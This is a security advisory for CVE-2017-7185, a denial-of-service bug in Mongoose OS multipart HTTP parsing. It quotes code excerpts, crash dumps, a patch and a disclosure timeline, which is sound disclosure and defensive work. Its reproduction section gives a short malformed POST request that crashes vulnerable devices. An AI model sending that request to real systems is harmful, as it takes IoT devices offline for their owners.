CVE-2017-7185 - Mongoose OS - Use-after-free / Denial of Service

#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/en/research/advisories/
#
#############################################################
#
# Product: Mongoose OS
# Vendor: Cesanta
# CVE ID: CVE-2017-7185
# CSNC ID: CSNC-2017-003
# Subject: Use-after-free / Denial of Service
# Risk: Medium
# Effect: Remotely exploitable
# Authors:
# Philipp Promeuschel <philipp.promeuschel@compass-security.com>
# Carel van Rooyen <carel.vanrooyen@compass-security.com>
# Stephan Sekula <stephan.sekula@compass-security.com>
# Date: 2017-04-03
#
#############################################################
=20
Introduction:
-------------
Cesantas Mongoose OS [1] - an open source operating system for the Interne=
t of Things. Supported micro controllers:
* ESP32
* ESP8266
* STM32
* TI CC3200
=20
Additionally, Amazon AWS IoT is integrated for Cloud connectivity. Develope=
rs can write applications in C or JavaScript (the latter by using the v7 co=
mponent of Mongoose OS).
=20
Affected versions:
---------
Vulnerable:
 * <=3D Release 1.2
Not vulnerable:
 * Patched in current dev / master branch
Not tested:
 * N/A
=20
Technical Description
---------------------
The handling of HTTP-Multipart boundary [3] headers does not properly close=
 connections when malformed requests are sent to the Mongoose server.
This leads to a use-after-free/null-pointer-de-reference vulnerability, cau=
sing the Mongoose HTTP server to crash. As a result, the entire system is r=
endered unusable.
=20
=20
The mg_parse_multipart [2] function performs proper checks for empty bounda=
ries, but, since the flag "MG_F_CLOSE_IMMEDIATELY" does not have any effect=
, mg_http_multipart_continue() is called:
--------------->8---------------
void mg_http_handler(struct mg_connection *nc, int ev, void *ev_data) {
[CUT BY COMPASS]
 #if MG_ENABLE_HTTP_STREAMING_MULTIPART
     if (req_len > 0 && (s =3D mg_get_http_header(hm, "Content-Type")) !=3D=
 NULL &&
         s->len >=3D 9 && strncmp(s->p, "multipart", 9) =3D=3D 0) {
      mg_http_multipart_begin(nc, hm, req_len); // properly checks for empt=
y boundary
      // however, the socket is not closed, and mg_http_multipart_continue(=
) is executed
      mg_http_multipart_continue(nc);
      return;
}
---------------8<---------------
In the mg_http_multipart_begin function, the boundary is correctly verified=
:
--------------->8---------------
  boundary_len =3D
      mg_http_parse_header(ct, "boundary", boundary, sizeof(boundary));
=20
  if (boundary_len =3D=3D 0) {
    /*
     * Content type is multipart, but there is no boundary,
     * probably malformed request
     */
    nc->flags =3D MG_F_CLOSE_IMMEDIATELY;
    DBG(("invalid request"));
    goto exit_mp;
  }
---------------8<---------------
However, the socket is not closed (even though the flag "MG_F_CLOSE_IMMEDIA=
TELY" has been set), and mg_http_multipart_continue is executed.
In mg_http_multipart_continue(), the method mg_http_multipart_wait_for_boun=
dary() is executed:
---------------8<---------------
static void mg_http_multipart_continue(struct mg_connection *c) {
  struct mg_http_proto_data *pd =3D mg_http_get_proto_data(c);
  while (1) {
    switch (pd->mp_stream.state) {
      case MPS_BEGIN: {
        pd->mp_stream.state =3D MPS_WAITING_FOR_BOUNDARY;
        break;
      }
      case MPS_WAITING_FOR_BOUNDARY: {
        if (mg_http_multipart_wait_for_boundary(c) =3D=3D 0) {
          return;
        }
        break;
      }
--------------->8---------------
Then, mg_http_multipart_wait_for_boundary() tries to identify the boundary-=
string. However, this string has never been initialized, which causes c_str=
nstr to crash.
---------------8<---------------
static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) {
  const char *boundary;
  struct mbuf *io =3D &c->recv_mbuf;
  struct mg_http_proto_data *pd =3D mg_http_get_proto_data(c);
=20
  if ((int) io->len < pd->mp_stream.boundary_len + 2) {
    return 0;
  }
=20
  boundary =3D c_strnstr(io->buf, pd->mp_stream.boundary, io->len);
  if (boundary !=3D NULL) {
[CUT BY COMPASS]
--------------->8---------------
=20
=20
Steps to reproduce
-----------------
Request to HTTP server (code running on hardware device):
---------------8<---------------
POST / HTTP/1.1
Connection: keep-alive
Content-Type: multipart/form-data;
Content-Length: 1
1
--------------->8---------------
The above request results in a stack trace on the mongoose console:
---------------8<---------------
Guru Meditation Error of type LoadProhibited occurred on core  0. Exception=
 was unhandled.
Register dump:
PC      : 0x400014fd  PS      : 0x00060330  A0      : 0x801114b4  A1      :=
 0x3ffbfcf0=20
A2      : 0x00000000  A3      : 0xfffffffc  A4      : 0x000000ff  A5      :=
 0x0000ff00=20
A6      : 0x00ff0000  A7      : 0xff000000  A8      : 0x00000000  A9      :=
 0x00000085=20
A10     : 0xcccccccc  A11     : 0x0ccccccc  A12     : 0x00000001  A13     :=
 0x00000000=20
A14     : 0x00000037  A15     : 0x3ffbb3cc  SAR     : 0x0000000f  EXCCAUSE:=
 0x0000001c=20
EXCVADDR: 0x00000000  LBEG    : 0x400014fd  LEND    : 0x4000150d  LCOUNT  :=
 0xffffffff=20
=20
Backtrace: 0x400014fd:0x3ffbfcf0 0x401114b4:0x3ffbfd00 0x401136cc:0x3ffbfd3=
0 0x401149ac:0x3ffbfe30 0x40114b71:0x3ffbff00 0x40112b80:0x3ffc00a0 0x40112=
dc6:0x3ffc00d0 0x40113295:0x3ffc0100 0x4011361a:0x3ffc0170 0x40111716:0x3ff=
c01d0 0x40103b8f:0x3ffc01f0 0x40105099:0x3ffc0210
--------------->8---------------
=20
=20
Further debugging shows that an uninitialized string has indeed been passed=
 to c_strnstr:
---------------8<---------------
(gdb) info symbol 0x401114b4
c_strnstr + 12 in section .flash.text
(gdb) list *0x401114b4
0x401114b4 is in c_strnstr (/mongoose-os/mongoose/mongoose.c:1720).
warning: Source file is more recent than executable.
1715    }
1716    #endif /* _WIN32 */
1717  =20
1718    /* The simplest O(mn) algorithm. Better implementation are GPLed */
1719    const char *c_strnstr(const char *s, const char *find, size_t slen)=
 WEAK;
1720    const char *c_strnstr(const char *s, const char *find, size_t slen)=
 {
1721      size_t find_length =3D strlen(find);
1722      size_t i;
1723  =20
1724      for (i =3D 0; i < slen; i++) {
(gdb) list *0x401136cc
0x401136cc is in mg_http_multipart_continue (/mongoose-os/mongoose/mongoose=
.c:5893).
5888      mg_http_free_proto_data_mp_stream(&pd->mp_stream);
5889      pd->mp_stream.state =3D MPS_FINISHED;
5890  =20
5891      return 1;
5892    }
5893  =20
5894    static int mg_http_multipart_wait_for_boundary(struct mg_connection=
 *c) {
5895      const char *boundary;
5896      struct mbuf *io =3D &c->recv_mbuf;
5897      struct mg_http_proto_data *pd =3D mg_http_get_proto_data(c);
(gdb)
--------------->8---------------
=20
Workaround / Fix:
-----------------
Apply the following (tested and confirmed) patch:
---------------8<---------------
$ diff --git a/mongoose/mongoose.c b/mongoose/mongoose.c
index 91dc8b9..063f8c6 100644
--- a/mongoose/mongoose.c
+++ b/mongoose/mongoose.c
@@ -5889,6 +5889,12 @@ static int mg_http_multipart_wait_for_boundary(struc=
t mg_connection *c) {
     return 0;
   }
 =20
+  if(pd->mp_stream.boundary =3D=3D NULL){
+      pd->mp_stream.state =3D MPS_FINALIZE;
+      LOG(LL_INFO, ("invalid request: boundary not initialized"));
+      return 0;
+  }
+
   boundary =3D c_strnstr(io->buf, pd->mp_stream.boundary, io->len);
   if (boundary !=3D NULL) {
     const char *boundary_end =3D (boundary + pd->mp_stream.boundary_len);
--------------->8---------------
The patch has been merged into Mongoose OS on github.com on 2017-04-03 [4]
=20
Timeline:
---------
2017-04-03: Coordinated public disclosure date
2017-04-03: Release of patch
2017-03-20: Initial vendor response, code usage sign-off
2017-03-19: Initial vendor notification
2017-03-19: Assigned CVE-2017-7185
2017-03-11: Confirmation and patching Philipp Promeuschel, Carel van Rooyen
2017-03-08: Initial inspection Philipp Promeuschel, Carel van Rooyen
2017-03-08: Discovery by Philipp Promeuschel
=20
References:
-----------
[1] https://www.cesanta.com/
[2] https://github.com/cesanta/mongoose/blob/66a96410d4336c312de32b1cf5db95=
4aab9ee2ec/mongoose.c#L7760
[3] http://www.ietf.org/rfc/rfc2046.txt
[4] https://github.com/cesanta/mongoose-os/commit/042eb437973a202d00589b13d=
628181c6de5cf5b